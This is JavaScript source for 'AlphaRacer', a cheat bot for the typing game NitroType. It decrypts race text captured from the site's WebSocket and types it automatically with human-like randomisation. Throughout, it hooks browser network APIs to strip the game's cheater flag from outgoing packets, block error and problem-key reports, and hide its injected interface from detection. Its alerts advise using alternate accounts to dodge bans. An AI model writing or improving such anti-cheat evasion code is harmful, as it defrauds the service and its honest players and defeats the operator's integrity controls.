updateStats = () => {
if (userInfo.username) {
statsDiv.innerHTML = "";
statsDiv.style.color = "red";
statsDiv.style.display = 'inline-block';
let st = document.createElement('span');
let sname = document.createElement('span');
sname.textContent = userInfo.username;
sname.style.color = 'red';
st.textContent = "User Stats: ";
st.appendChild(sname);
statsDiv.appendChild(st);
statsDiv.appendChild(document.createElement('br'));
statsDiv.appendChild(document.createElement('br'));
let statTitle = document.createElement('span');
let stt = document.createElement('span');
stt.textContent = userInfo.title;
stt.style.color = 'red';
statTitle.textContent = "Racing title: ";
statTitle.appendChild(stt);
statsDiv.appendChild(statTitle);
statsDiv.appendChild(document.createElement('br'));
if (userInfo.tag !== '') {
let statTeam = document.createElement('span');
statTeam.textContent = 'Team: ';
let sTeam = document.createElement('span');
if (userInfo.tagColor) sTeam.style.color = userInfo.tagColor;
sTeam.textContent = userInfo.tag;
statTeam.appendChild(sTeam);
statsDiv.appendChild(statTeam);
statsDiv.appendChild(document.createElement('br'));
}
let statNitro = document.createElement('span');
let sn = document.createElement('span');
sn.textContent = userInfo.nitros;
sn.style.color = 'red';
statNitro.textContent = "Total nitros: ";
statNitro.appendChild(sn);
statsDiv.appendChild(statNitro);
statsDiv.appendChild(document.createElement('br'));
let statMoney = document.createElement('span');
let stm1 = document.createElement('span');
stm1.textContent = "$" + userInfo.money + " (Spent: $" + userInfo.moneySpent + ")";
stm1.style.color = 'red';
statMoney.textContent = 'Money: ';
statMoney.appendChild(stm1);
statsDiv.appendChild(statMoney);
statsDiv.appendChild(document.createElement('br'));
let statMember = document.createElement('span');
let sm = document.createElement('span');
sm.textContent = (userInfo.membership !== 'basic');
sm.style.color = 'red';
statMember.textContent = 'NitroType Gold: ';
statMember.appendChild(sm);
statsDiv.appendChild(statMember);
statsDiv.appendChild(document.createElement('br'));
let statRaces = document.createElement('span');
let sr = document.createElement('span');
sr.style.color = 'red';
sr.textContent = userInfo.racesPlayed;
statRaces.textContent = 'Carrer Races: ';
statRaces.appendChild(sr);
statsDiv.appendChild(statRaces);
statsDiv.appendChild(document.createElement('br'));
let statWins = document.createElement('span');
let sw = document.createElement('span');
sw.textContent = userInfo.consecWins;
sw.style.color = 'red';
statWins.textContent = 'Win Streak: ';
statWins.appendChild(sw);
statsDiv.appendChild(statWins);
statsDiv.appendChild(document.createElement('br'));
} else {
setTimeout(updateStats, 1000);
}
},
disableStats = () => {
statsDiv.innerHTML = "";
},
__ = {},
_ = {
fill: window.CanvasRenderingContext2D.prototype.fillText,
toStr: window.Function.prototype.toString,
get: window.Object.prototype.__lookupGetter__,
listen: window.addEventListener,
unlisten: window.removeEventListener,
reload: window.location.reload,
host: ShadowRoot.prototype.__lookupGetter__('host'),
fp: Function.prototype,
warn: console.warn,
ws: window.WebSocket,
xsend: window.XMLHttpRequest.prototype.send,
xopen: window.XMLHttpRequest.prototype.open,
oerr: null
},
extractUserName = () => {
let storage = new Object(localStorage);
let key = null;
for (let p in storage) {
if (storage.hasOwnProperty(p)) {
try {
key = JSON.parse(ROT47(storage[p]));
} catch (e) {
key = null;
continue;
}
if (key["username"]) {
return key["username"];
}
}
}
return null;
},
extractStats = () => {
let storage = new Object(localStorage);
let key = null;
for (let p in storage) {
if (storage.hasOwnProperty(p)) {
try {
key = JSON.parse(ROT47(storage[p]));
} catch (e) {
key = null;
continue;
}
if (key["username"]) {
return key;
}
}
}
return null;
},
reqStats = (uname, callback) => {
let x = new XMLHttpRequest();
x.open("GET", "https://www.nitrotype.com/racer/" + uname, true);
x.send();
x.onload = () => {
callback(x.responseText);
}
},
setWPM = w => {
if (isStopped) return;
wordsPerMinute = w;
wpm.value = w;
setLocalStorage('wpm', w);
},
autoNitroOn = () => {
autoNitroBtn.style.borderColor = "Red";
autoNitroBtn.style.color = "Red";
autoNitroBtn.innerHTML = "On";
setLocalStorage('autoNitro', true);
autoNitro = true;
},
autoNitroOff = () => {
autoNitroBtn.style.borderColor = "Black";
autoNitroBtn.style.color = "Black";
autoNitroBtn.innerHTML = "Off";
setLocalStorage('autoNitro', false);
autoNitro = false;
},
getLocalStorage = key => {
try {
return localStorage[key];
} catch (e) {
return null;
}
},
setLocalStorage = (key, value) => {
try {
return localStorage[key] = value;
} catch (e) {
return null;
}
},
reverseString = str => {
return str.split ``.reverse().join ``;
},
decryptLesson = lesson => {
return reverseString(ROT47(lesson));
},
__ws = function(ip, protocol) {
if (!ip.includes('nitrotype.com')) {
// this clearly isnt the socket we want to sniff
return new _.ws(ip, protocol);
}
ws = new _.ws(ip, protocol);
ws.addEventListener('message', msg => {
// console.debug('recieved', msg.data);
let validPacket = true;
let packet = {};
if (msg.data) {
if (msg.data.includes(`"payload":{"type":"banned"}}`)) {
console.warn('Incoming WebSocket message indicates ban.');
// debugger;
}
try {
packet = JSON.parse(msg.data.substring(1, msg.length));
} catch (e) {
validPacket = false;
// invalid packet
}
} else validPacket = false;
if (validPacket) {
if (packet.msg == "error") {
respawn();
} else if (packet.stream == "race") {
if (packet.msg == "status") {
if (packet.payload.status == "countdown" && packet.payload.l) {
let _lesson = packet.payload.l;
packetLesson = decryptLesson(_lesson);
debug("Successfully decrypted the lesson packet.");
}
}
}
}
});
return ws;
},
tgen = val => {
max = val + 17;
min = val - 17;
let rand = 0;
for (let i = 0; i < 6; i += 1) {
rand += Math.random();
}
return Math.ceil((((rand - 3) / 3) * (max - min)) + min);
},
handleFillText = args => {
const text = args[0];
if (text.length < 2) {
renderedKeys++;
fillsY.push(args[2]);
// A space needs to be appended to the lesson
if (fillsY[fillsY.length - 1] < fillsY[fillsY.length - 2]) lesson += " ";
lesson += text;
if (renderedKeys > 128 && firstDetected == false) {
firstDetected = true;
lesson = text;
setTimeout(() => {
lessonLoad();
apie.onRaceStarting && (apie.onRaceStarting());
}, 200);
}
}
},
randomBool = percentFalse => {
let percent = 0.5;
let ret = null;
if (typeof percentFalse === "number") {
percent = percentFalse;
} else {
debug("WARN: No percentage false specified for random boolean generation. Using 0.5.");
}
ret = Math.random() > percent;
tdebug("Calculated random bool with false percentage", percent, "Result:", ret);
return ret;
},
isAccurate = () => {
let acc = Math.random() < accuracy;
tdebug("Calculated isAccurate", acc);
return acc;
},
generateTypeDecision = offset => {
/*
This is the core AI behind UltraType.
It uses pseudo-random number and boolean generation to determine how often to type, and when to use nitros.
The bot has a 20% chance to enter a "dip" each tick, which makes it type slightly slower.
*/
if (isStopped) return;
setTimeout(() => {
let dipRate = 0.80;
let WRONG = false;
timeout = tgen(12000 / wordsPerMinute);
if (inDip) {
// Re adjust the timeout
dipRate = 0.40;
timeout = tgen(12000 / wordsPerMinute);
}
if (enabled) {
if (!isAccurate()) {
WRONG = true;
type(49);
generateTypeDecision(timeout + 50);
} else {
type(lesson.charCodeAt(i));
}
if (!WRONG) {
i++;
if (i < lesson.length) {
generateTypeDecision(timeout);
}
}
if (autoNitro) {
if (randomBool(0.999)) { // Theres a 0.1% chance that a nitro is used mid race during a tick
tdebug("Using a mid race nitro");
useNitro();
}
}
}
timeoutToggle = !timeoutToggle;
inDip = randomBool(dipRate);
tdebug("Generated typing decision with offset", offset);
if (apie.onType) {
apie.onType({
charTyped: lesson.charCodeAt(i),
isWrong: WRONG
});
}
}, offset);
},
lessonLoad = () => {
debug("The prerendered lesson has been captured and loaded. Starting in " + (LOAD_TIME / 1000) + " seconds.");
if (!isStopped) {
infoSpan.innerHTML = "Loading...";
infoSpan.style.color = "#00b300";
}
setTimeout(() => {
if (!isStopped) {
infoSpan.innerHTML = "Loaded!";
infoSpan.style.color = "#ff0000";
}
lessonLoaded = true;
startTime = new Date();
if (lesson.length > 1) {
generateTypeDecision();
debug("Started the bot!");
if (autoTurbo) {
setTimeout(() => {
debug("Using auto turbo");
turbo();
}, 750);
}
} else {
debug("The lesson is malformed! Lesson:", ('"' + lesson + '"'));
return;
}
if (apie.onRaceStart) {
apie.onRaceStart(startTime, lesson);
}
}, LOAD_TIME);
},
respawn = () => {
debug("respawn() called - refreshing in a few seconds.");
setTimeout(location.reload.bind(location),
gen(750, 1100));
},
removeUITrash = () => {
// Remove some garbage on the UI
debug("Cleaning up the original UI...");
try {
rm('settings-button');
rm('app-footer', 1);
rm('tooltip-hover', 1);
} catch (e) {
debug("Issue removing UI trash", e);
}
},
onfinish = callback => {
setInterval(() => {
let deadDivs = document.getElementsByClassName('popup race-results'),
banner = document.getElementsByClassName('banner'),
errorDivs = document.getElementsByClassName('popup popup-race-error');
if (
(deadDivs && deadDivs.length > 0) ||
(disqualified) ||
(banner && banner.length > 0) ||
(errorDivs && errorDivs.length > 0)
) {
if (finished == false) {
finished = true;
debug("Firing onfinish callback in 100ms.");
setTimeout(callback.bind(this), 100);
}
}
}, 300);
},
createUI = body => {
if (isStopped) {
return;
}
toggled = false;
let isDragging = false;
let UIopacity = 0.7;
let doc = document.querySelector('html');
let inner = document.querySelector('.wrap');
body.appendChild(injectedRoot);
let UI = document.createElement('div');
$(root).append(FONT);
Object.defineProperty(UI, 'shadowRoot', {
get: () => {
return null;
},
enumerable: false
});
Object.defineProperty(injectedRoot, 'shadowRoot', {
get: () => {
return null;
},
enumerable: false
});
Object.defineProperty(root, 'shadowRoot', {
get: () => {
return null;
},
enumerable: false
});
UI.style.zIndex = 999999;
UI.id = "botUI";
UI.style.position = "fixed";
UI.style.top = "3%";
UI.style.left = "3%";
UI.style.color = "Red";
UI.style.borderStyle = "solid";
UI.style.borderColor = "#ff0000";
UI.style.borderWidth = "6px";
UI.style.borderRadius = "7px";
UI.style.padding = "10px";
UI.style.backgroundColor = "black";
UI.style.textAlign = "center";
UI.style.opacity = UIopacity;
UI.style.transition = "opacity 500ms, border 500ms, border-color 500ms";
UI.style.fontFamily = "'Orbitron', sans-serif";
UI.onmouseover = () => {
UIopacity = 1;
UI.style.opacity = UIopacity;
}
UI.onmouseleave = () => {
UIopacity = 0.8;
UI.style.opacity = UIopacity;
}
let outerTitle = document.createElement('center');
let title = document.createElement('p');
title.style.fontSize = "135%";
title.innerHTML = "<strong>AlphaRacer (BETA)</strong>";
title.style.cursor = 'pointer';
title.onclick = () => {
window.open(EXT_URL, '_blank');
}
UI.style.fontSize = "135%";
outerTitle.appendChild(title);
UI.appendChild(outerTitle);
let outerInfo = document.createElement('center');
info = document.createElement('p');
infoSpan = document.createElement('span');
infoSpan.innerHTML = "Loading...";
infoSpan.style.color = "#b3b3b3";
infoSpan.style.transition = "color 500ms";
info.style.fontSize = "100%";
info.innerHTML += "Status: ";
info.appendChild(infoSpan);
outerInfo.appendChild(info);
UI.appendChild(outerInfo);
let outerEnable = document.createElement('center');
let enableButton = document.createElement('button');
enableButton.className = "";
enableButton.style.backgroundColor = "transparent";
enableButton.style.border = "3px solid";
enableButton.style.borderRadius = "3px";
enableButton.style.fontSize = "125%";
enableButton.style.borderColor = "#5e5c5c";
enableButton.style.color = "#5e5c5c";
enableButton.style.transition = "border 500ms, border-color 500ms, color 500ms";
enableButton.innerHTML = "SETTINGS";
enableButton.onclick = () => {
if (!optOn) {
optOn = true;
opt.style.opacity = 0.95;
opt.style.pointerEvents = "all";
opt.focus();
} else {
return;
}
}
_.listen.apply(enableButton, ["mouseover", () => {
enableButton.style.color = "white";
enableButton.style.borderColor = "white";
}, true]);
_.listen.apply(enableButton, ["mouseout", () => {
enableButton.style.color = "#5e5c5c";
enableButton.style.borderColor = "#5e5c5c";
}, true]);
outerEnable.appendChild(enableButton);
UI.appendChild(outerEnable);
let outerTurbo = document.createElement('center');
let turboBtn = document.createElement('button');
turboBtn.className = "";
turboBtn.style.backgroundColor = "transparent";
turboBtn.style.border = "3px solid";
turboBtn.style.borderRadius = "3px";
turboBtn.style.fontSize = "125%";
turboBtn.style.borderColor = "#ff0000";
turboBtn.style.color = "#ff0000";
turboBtn.style.transition = "border 500ms, border-color 500ms, color 500ms";
turboBtn.innerHTML = "Turbo";
turboBtn.onclick = () => {
turboBtn.style.color = "#ff0000";
turboBtn.style.borderColor = "#ff0000";
if (!firstTurbo) {
firstTurbo = true;
if (localStorage["turboAlert"]) {
try {
turbo();
} catch (e) {
debug("WARN: Couldn't turbo", e);
};
} else {
alert("Auto-turbo Will Most Likely Get You Banned! Use an alt account. AlphaRacer will NOT display this message again!");
localStorage["turboAlert"] = 1;
try {
turbo();
} catch (e) {
debug("WARN: Couldn't turbo", e);
};
}
}
}
UI.appendChild(document.createElement('br'));
outerTurbo.appendChild(turboBtn);
UI.appendChild(outerTurbo);
UI.appendChild(document.createElement('br'));
statsDiv = document.createElement('center');
statsDiv.innerHTML = 'Stats are loading...';
statsDiv.style.color = 'grey';
statsDiv.style.display = 'none';
UI.appendChild(statsDiv);
UI.appendChild(document.createElement('br'));
function moveUI(e) {
UI.style.top = (e.clientY - (e.clientY - UI.style.top)) + 'px';
UI.style.left = (e.clientX - (e.clientX - UI.style.left)) + 'px';
}
_.listen.apply(window, ['keydown', e => {
if (e.keyCode == 27) {
toggled = !toggled;
if (toggled) {
UI.style.opacity = 0;
g.style.opacity = 0;
UI.style.pointerEvents = "none";
g.style.pointerEvents = "none";
} else {
UI.style.opacity = UIopacity;
if (localStorage['chartOn']) g.style.opacity = UIopacity;
UI.style.pointerEvents = "auto";
if (localStorage['chartOn']) g.style.pointerEvents = "auto";
else g.style.pointerEvents = "none";
}
}
}]);
_.listen.apply(window, ['mouseup', e => {
isDragging = false;
UI.style.opacity = UIopacity;
UI.style.borderColor = "#ff0000";
e.preventDefault();
_.unlisten.apply(window, ['mousemove', moveUI, true]);
}, false]);
root.appendChild(UI);
detectWebGL();
createOptsMenu();
if (apie.onReady) {
apie.onReady();
}
},
initChart = () => {
if (!document.body) {
let _initChart = initChart.bind(this);
setTimeout(_initChart, 300);
return;
}
g.style.zIndex = 9999;
g.style.backgroundColor = "#000";
g.style.fontFamily = "Orbitron";
g.style.position = "fixed";
g.style.bottom = "5%";
g.style.right = "5%";
g.style.fontSize = "125%";
g.style.color = "white";
g.style.opacity = 0.7;
g.style.padding = "10px";
g.style.border = "6px solid";
g.style.borderColor = "#ff0000";
g.style.borderRadius = "7px";
g.style.width = "40%";
g.style.height = "25%";
g.style.transition = "opacity 500ms, border 500ms, border-color 500ms";
Highcharts.chart(g, {
chart: {
backgroundColor: {
linearGradient: [0, 0, 500, 500],
stops: [
[0, 'rgb(0, 0, 0)'],
[1, 'rgb(0, 0, 0)']
]
},
style: {
color: "#fff",
fontFamily: "Ubuntu"
}
},
title: {
text: "Speed",
x: -20,
style: {
color: "#fff",
fontFamily: "Ubuntu"
}
},
tooltip: {
valueSuffix: ' WPM',
},
xAxis: {
gridLineWidth: 0,
categories: [
//
],
labels: {
style: {
color: '#FFF',
font: 'Ubuntu'
}
}
},
yAxis: {
gridLineWidth: 0,
title: {
text: "WPM"
},
plotLines: [{
value: 0,
width: 1,
color: '#ff0000'
}],
labels: {
style: {
color: '#FFF',
font: 'Ubuntu'
}
}
},
legend: {
layout: 'vertical',
align: 'right',
verticalAlign: 'middle',
borderWidth: 0,
style: {
color: "#fff"
}
},
plotOptions: {
line: {
marker: {
enabled: false
}
}
},
series: [{
name: 'Speed in WPM',
data: points,
color: '#ff0000'
}]
});
chart = Highcharts.charts[0];
_.listen.apply(g, ['mouseover', () => {
if (localStorage['chartOn']) g.style.opacity = 1;
if (localStorage['chartOn']) g.style.borderColor = "#0000ff";
}, true]);
_.listen.apply(g, ['mouseout', () => {
if (localStorage['chartOn']) g.style.opacity = 0.7;
if (localStorage['chartOn']) g.style.borderColor = "#ff0000";
}, true]);
addGraph(g);
setTimeout(() => {
let cr = g.getElementsByClassName('highcharts-credits');
for (let i = 0; i < cr.length; i++) {
cr[i].remove();
}
}, 500);
if (!localStorage['chartOn']) {
g.style.opacity = 0;
}
},
createOptsMenu = () => {
opt = document.createElement('div');
opt.style.zIndex = 99999999;
opt.style.backgroundColor = "#000";
opt.style.border = "6px solid";
opt.style.borderColor = "#ff0000";
opt.style.borderRadius = "6px";
opt.style.fontSize = "150%";
opt.style.color = "#FFF";
opt.style.position = "fixed";
opt.style.padding = "10px";
opt.style.top = "50%";
opt.style.left = "50%";
opt.style.display = "inline-block";
opt.style.fontFamily = "Ubuntu";
opt.style.transform = "translate(-50%, -50%)";
opt.style.transition = "opacity 500ms, border 500ms, border-color 500ms";
opt.style.opacity = 0;
opt.style.pointerEvents = "none";
let inner = document.createElement('center');
let lbl = document.createElement('h1');
lbl.style.fontSize = "150%";
lbl.innerHTML = "AlphaRacer Settings";
inner.appendChild(lbl);
let outerBotOn = document.createElement('div');
let botOnBtn = document.createElement('button');
botOnBtn.className = "";
botOnBtn.style.backgroundColor = "transparent";
botOnBtn.style.border = "3px solid";
botOnBtn.style.borderRadius = "3px";
botOnBtn.style.fontSize = "100%";
botOnBtn.style.borderColor = "Red";
botOnBtn.style.color = "Red";
botOnBtn.style.transition = "border 500ms, border-color 500ms, color 500ms";
botOnBtn.innerHTML = "On";
botOnBtn.onclick = () => {
enabled = !enabled;
if (!enabled) {
botOnBtn.style.borderColor = "black";
botOnBtn.style.color = "black";
botOnBtn.innerHTML = "Off";
} else {
botOnBtn.style.borderColor = "Red";
botOnBtn.style.color = "Red";
botOnBtn.innerHTML = "On";
}
}
outerBotOn.innerHTML += "Bot Toggled: ";
outerBotOn.appendChild(botOnBtn);
inner.appendChild(outerBotOn);
let outerToggle = document.createElement('div');
let toggleButton = document.createElement('button');
toggleButton.className = "";
toggleButton.style.backgroundColor = "transparent";
toggleButton.style.border = "3px solid";
toggleButton.style.borderRadius = "3px";
toggleButton.style.fontSize = "100%";
toggleButton.style.transition = "border 500ms, border-color 500ms, color 500ms";
if (autoRefresh) {
toggleButton.style.borderColor = "Red";
toggleButton.style.color = "Red";
toggleButton.innerHTML = "On";
} else {
toggleButton.style.borderColor = "black";
toggleButton.style.color = "black";
toggleButton.innerHTML = "Off";
}
toggleButton.onclick = () => {
autoRefresh = !autoRefresh;
setLocalStorage('autoRefresh', autoRefresh);
if (!autoRefresh) {
toggleButton.style.borderColor = "black";
toggleButton.style.color = "black";
toggleButton.innerHTML = "Off";
} else {
toggleButton.style.borderColor = "Red";
toggleButton.style.color = "Red";
toggleButton.innerHTML = "On";
}
}
outerToggle.innerHTML += "Auto Refresh: ";
outerToggle.appendChild(toggleButton);
inner.appendChild(outerToggle);
let outerNtr = document.createElement('div');
autoNitroBtn = document.createElement('button');
autoNitroBtn.className = "";
autoNitroBtn.style.backgroundColor = "transparent";
autoNitroBtn.style.border = "3px solid";
autoNitroBtn.style.borderRadius = "3px";
autoNitroBtn.style.fontSize = "100%";
autoNitroBtn.style.transition = "border 500ms, border-color 500ms, color 500ms";
if (autoNitro) {
autoNitroBtn.style.borderColor = "Red";
autoNitroBtn.style.color = "Red";
autoNitroBtn.innerHTML = "On";
} else {
autoNitroBtn.style.borderColor = "black";
autoNitroBtn.style.color = "black";
autoNitroBtn.innerHTML = "Off";
}
autoNitroBtn.onclick = () => {
autoNitro ? autoNitroOn() : autoNitroOff();
}
outerNtr.innerHTML += "Auto Nitro: ";
outerNtr.appendChild(autoNitroBtn);
inner.appendChild(outerNtr);
let outerChrtBtn = document.createElement('div');
let chartBtn = document.createElement('button');
chartBtn.className = "";
chartBtn.style.backgroundColor = "transparent";
chartBtn.style.border = "3px solid";
chartBtn.style.borderRadius = "3px";
chartBtn.style.fontSize = "100%";
chartBtn.style.transition = "border 500ms, border-color 500ms, color 500ms";
if (localStorage['chartOn']) {
chartBtn.style.borderColor = "Red";
chartBtn.style.color = "Red";
chartBtn.innerHTML = "On";
} else {
chartBtn.style.borderColor = "black";
chartBtn.style.color = "black";
chartBtn.innerHTML = "Off";
}
chartBtn.onclick = () => {
if (localStorage['chartOn']) {
delete localStorage['chartOn'];
chartBtn.style.borderColor = "black";
chartBtn.style.color = "black";
chartBtn.innerHTML = "Off";
} else {
localStorage['chartOn'] = 1;
chartBtn.style.borderColor = "Red";
chartBtn.style.color = "Red";
chartBtn.innerHTML = "On";
g.style.opacity = 0.7;
}
}
outerChrtBtn.innerHTML += "Speed chart: ";
outerChrtBtn.appendChild(chartBtn);
inner.appendChild(outerChrtBtn);
let outerACfg = document.createElement('div');
acc = document.createElement('input');
acc.type = "number";
acc.min = 10;
acc.max = 100;
acc.value = accuracy * 100;
acc.className = "";
acc.style.backgroundColor = "transparent";
acc.style.border = "3px solid";
acc.style.borderRadius = "3px";
acc.style.fontSize = "100%";
acc.style.borderColor = "Red";
acc.style.color = "Red";
acc.style.transition = "border 500ms, border-color 500ms, color 500ms";
acc.onchange = () => {
accuracy = parseInt(acc.value);
if (isNaN(accuracy)) {
accuracy = 0.98;
acc.value = 98;
} else {
accuracy *= 0.01;
}
setLocalStorage('accuracy', accuracy);
}
outerACfg.innerHTML += "Accuracy %: ";
outerACfg.appendChild(acc);
inner.appendChild(outerACfg);
let oWPMCfg = document.createElement('div');
wpm = document.createElement('input');
wpm.type = "number";
wpm.min = 3;
wpm.max = MAX_WPM; // About the fastest you can go without any bans
wpm.value = wordsPerMinute;
wpm.className = "";
wpm.style.backgroundColor = "transparent";
wpm.style.border = "3px solid";
wpm.style.borderRadius = "3px";
wpm.style.fontSize = "100%";
wpm.style.borderColor = "Red";
wpm.style.color = "Red";
wpm.style.transition = "border 500ms, border-color 500ms, color 500ms";
wpm.onchange = () => {
if (localStorage["speedChange"]) {
wordsPerMinute = parseInt(wpm.value);
if (wordsPerMinute > 200) {
alert('You will most likely be banned if you set your WPM to 200+!');
}
if (isNaN(wordsPerMinute))
wpm.value = 85;
setWPM(wpm.value);
} else {
// alert('It is not recommended to alter the default speed of UltraType, be careful! This message will not be shown again.');
setLocalStorage('speedChange', true);
}
}
oWPMCfg.innerHTML += "WPM: ";
oWPMCfg.appendChild(wpm);
inner.appendChild(oWPMCfg);
let outerStatTogg = document.createElement('div');
statTogg = document.createElement('button');
statTogg.className = "";
statTogg.style.backgroundColor = "transparent";
statTogg.style.border = "3px solid";
statTogg.style.borderRadius = "3px";
statTogg.style.fontSize = "100%";
statTogg.style.borderColor = "Red";
statTogg.style.color = "Red";
statTogg.style.transition = "border 500ms, border-color 500ms, color 500ms";
statTogg.innerHTML = "On";
statTogg.onclick = () => {
statsOn = !statsOn;
if (statsOn) {
statTogg.style.borderColor = "Red";
statTogg.style.color = "Red";
statTogg.innerHTML = "On";
updateStats();
} else {
statTogg.style.borderColor = "black";
statTogg.style.color = "black";
statTogg.innerHTML = "Off";
disableStats();
}
setLocalStorage('statsOn', statsOn);
}
outerStatTogg.innerHTML = "User Stats: ";
outerStatTogg.appendChild(statTogg);
inner.appendChild(outerStatTogg);
let outerAutoT = document.createElement('div');
let autoT = document.createElement('button');
autoT.className = "";
autoT.style.backgroundColor = "transparent";
autoT.style.border = "3px solid";
autoT.style.borderRadius = "3px";
autoT.style.fontSize = "100%";
autoT.style.borderColor = "Red";
autoT.style.color = "Red";
autoT.style.transition = "border 500ms, border-color 500ms, color 500ms";
autoT.innerHTML = "On";
autoT.onclick = () => {
if (!autoTurbo) {
autoT.style.borderColor = "Red";
autoT.style.color = "Red";
autoT.innerHTML = "On";
autoTurboOn();
} else {
autoT.style.borderColor = "black";
autoT.style.color = "black";
autoT.innerHTML = "Off";
autoTurboOff();
}
}
// Set the default button state
if (autoTurbo) {
autoT.style.borderColor = "Red";
autoT.style.color = "Red";
autoT.innerHTML = "On";
} else {
autoT.style.borderColor = "black";
autoT.style.color = "black";
autoT.innerHTML = "Off";
}
outerAutoT.innerHTML = "Auto Turbo: ";
outerAutoT.appendChild(autoT);
inner.appendChild(outerAutoT);
let tips = document.createElement('p');
tips.innerHTML = "Press escape to close all of AlphaRacer's Menus!<br>";
inner.appendChild(tips);
let outerExitBtn = document.createElement('center');
let exitButton = document.createElement('button');
exitButton.className = "";
exitButton.style.borderColor = "#5e5c5c";
exitButton.style.color = "#5e5c5c";
exitButton.style.fontSize = "175%";
exitButton.style.border = "3px solid";
exitButton.style.borderRadius = "3px";
exitButton.style.backgroundColor = "transparent";
exitButton.style.transition = "border 500ms, border-color 500ms, color 500ms";
_.listen.apply(exitButton, ["mouseover", () => {
exitButton.style.color = "#FFF";
exitButton.style.borderColor = "#FFF";
}, true]);
_.listen.apply(exitButton, ["mouseout", () => {
exitButton.style.color = "#5e5c5c";
exitButton.style.borderColor = "#5e5c5c";
}, true]);
exitButton.innerHTML = "Exit";
exitButton.onclick = () => {
opt.style.opacity = 0;
opt.style.pointerEvents = "none";
optOn = false;
opt.blur();
}
outerExitBtn.appendChild(exitButton);
inner.appendChild(outerExitBtn);
opt.appendChild(inner);
root.appendChild(opt);
setTimeout(() => {
let localAutoRefresh = localStorage['autoRefresh'],
localAccuracy = localStorage['accuracy'],
localWPM = localStorage['wpm'],
localAutoNitro = localStorage['autoNitro'];
if (localAutoNitro !== null && localAutoNitro !== undefined) {
localAutoNitro = JSON.parse(localAutoNitro);
if (localAutoNitro == false) {
autoNitroOff();
} else {
autoNitroOn();
}
}
if (localAutoRefresh) {
autoRefresh = JSON.parse(localAutoRefresh);
if (!autoRefresh) {
toggleButton.style.borderColor = "black";
toggleButton.style.color = "black";
toggleButton.innerHTML = "Off";
} else {
toggleButton.style.borderColor = "Red";
toggleButton.style.color = "Red";
toggleButton.innerHTML = "On";
}
}
if (localAccuracy) {
accuracy = parseFloat(localAccuracy);
acc.value = accuracy * 100;
}
if (localWPM) {
wpm.value = localWPM;
wordsPerMinute = parseInt(localWPM);
setWPM(wordsPerMinute);
}
if (statsOn) {
statTogg.style.borderColor = "Red";
statTogg.style.color = "Red";
statTogg.innerHTML = "On";
updateStats();
} else {
statTogg.style.borderColor = "black";
statTogg.style.color = "black";
statTogg.innerHTML = "Off";
disableStats();
}
}, 1000);
},
blockAd = ad => {
try {
ad.style.display = "none";
} catch (e) {
ad.src = "about:blank";
}
try {
ad.parentElement.parentElement.parentElement.remove();
} catch (e) {};
},
changeTip = node => {
setTimeout(() => {
node.style.fontSize = "125%";
node.style.border = "3px solid #ff0000";
node.style.borderRadius = "7px";
node.style.opacity = 0.7;
node.style.pointerEvents = "none";
node.innerHTML = "";
node.innerHTML += FONT;
node.innerHTML += '<center style="font-family:Orbitron;">AlphaRacer Has Ruined NitroType! :)<br>Version: BETA</center>';
}, 1000);
},
detectWebGL = () => {
if (document.cookie.includes('webgl')) {
document.cookie = document.cookie.replace('webgl', 'canvas');
}
},
handleScript = scr => {
if (scr.src.includes('race-lib')) {
scr.addEventListener('load', () => {
_set = PIXI.BitmapText.prototype.setText;
let tos = __.toStr;
PIXI.BitmapText.prototype.setText = function() {
let txt = arguments[0];
if (lessonLoaded) {
let t = parseInt(txt);
if ((t !== 0) && (t > 5)) {
points.push(t);
chart.series[0].setData(points, true);
}
}
_set.apply(this, arguments);
}
});
} else if (scr.src.includes('libs')) {
scr.addEventListener('load', () => {
_attachHandler = $('head').constructor.prototype.keypress;
$('head').constructor.prototype.keypress = function() {
if (this && this[0] && this[0] == document.body) {
let handler = arguments[0];
keyPressHandler = handler;
debug("Intercepted jQuery keypress handler:", handler);
}
return _attachHandler.apply(this, arguments);
}
});
} else if (scr.src.includes('app.min.')) {
scr.addEventListener('load', () => {
setTimeout(() => {
let udata = ROT47(localStorage['A=2J6C']);
try {
udata = JSON.parse(udata);
} catch (e) {
return;
}
// udata.websocketSupport = true;
udata = ROT47(JSON.stringify(udata));
localStorage['A=2J6C'] = udata;
}, 100);
});
}
}
console.warn = function() {
if (arguments[0] == "You have been disqualified") {
disqualified = true;
}
console.log.apply(this, arguments);
}
__.fill = function() {
handleFillText(arguments);
_.fill.apply(this, arguments);
}
let _set = null,
_send = WebSocket.prototype.send;
WebSocket.prototype.send = function() {
if (typeof arguments[0] !== 'string') {
return _send.apply(this, arguments);
}
let msg = arguments[0],
header = msg[0],
obj = null;
msg = msg.substr(1, msg.length);
try {
obj = JSON.parse(msg);
} catch (e) {
return _send.apply(this, arguments);;
}
if (obj && obj.payload && obj.payload.a) {
debug("very naughty packet detected, lets fix that");
delete obj.payload.a;
// Replace packet
arguments[0] = header + JSON.stringify(obj);
}
return _send.apply(this, arguments);
}
onfinish(() => {
debug("Race has finished. Doing a ban check and reloading if needed.");
if (apie.onRaceFinish) {
apie.onRaceFinish();
}
endTime = new Date();
infoSpan.innerHTML = "Finished";
infoSpan.style.color = "#b3b3b3";
if (localStorage['autoRefresh']) {
debug("Auto refresh is enabled");
respawn();
} else {
debug("Auto refresh is disabled");
}
});
XMLHttpRequest.prototype.send = function() {
let payload = arguments[0];
let header = '';
if (payload && payload.length > 4 && payload[4] == '{') {
let obj;
header = payload.substr(0, 4);
try {
obj = JSON.parse(payload.substr(4, payload.length));
} catch (e) {
return _.xsend.apply(this, arguments);
}
if (obj.payload && obj.payload.a) {
// Remove cheater flag from outgoing packet
delete obj.payload.a;
arguments[0] = header + JSON.stringify(obj);
}
}
return _.xsend.apply(this, arguments);
}
XMLHttpRequest.prototype.open = function() {
if (arguments[1].includes('/api/error')) {
errorRequests.push(this);
this.abort();
return;
} else if (arguments[1].includes('problem-keys')) {
if (PROBLEM_KEYS_DEBUG) {
console.warn('PROBLEM_KEYS_DEBUG is enabled, firing up debugger.');
debugger;
}
if (ABORT_PROBLEM_KEYS) {
debug("Aborting problem-keys AJAX request.");
this.abort();
return;
} else {
debug("Detected outgoing problem-keys AJAX request, but ABORT_PROBLEM_KEYS is false, so I'm letting it send.");
}
}
return _.xopen.apply(this, arguments);
}
// inject undetectable features
window.PIXI = {};
PIXI.BitmapText = function() {};
PIXI.BitmapText.prototype.setText = function(a) {
this.text = a || " ", this.dirty = !0
};
let hostt = ShadowRoot.prototype.__lookupGetter__('host');
let _getToStr = Function.prototype.__lookupGetter__('toString');
let _setTxt = Element.prototype.__lookupSetter__('textContent');
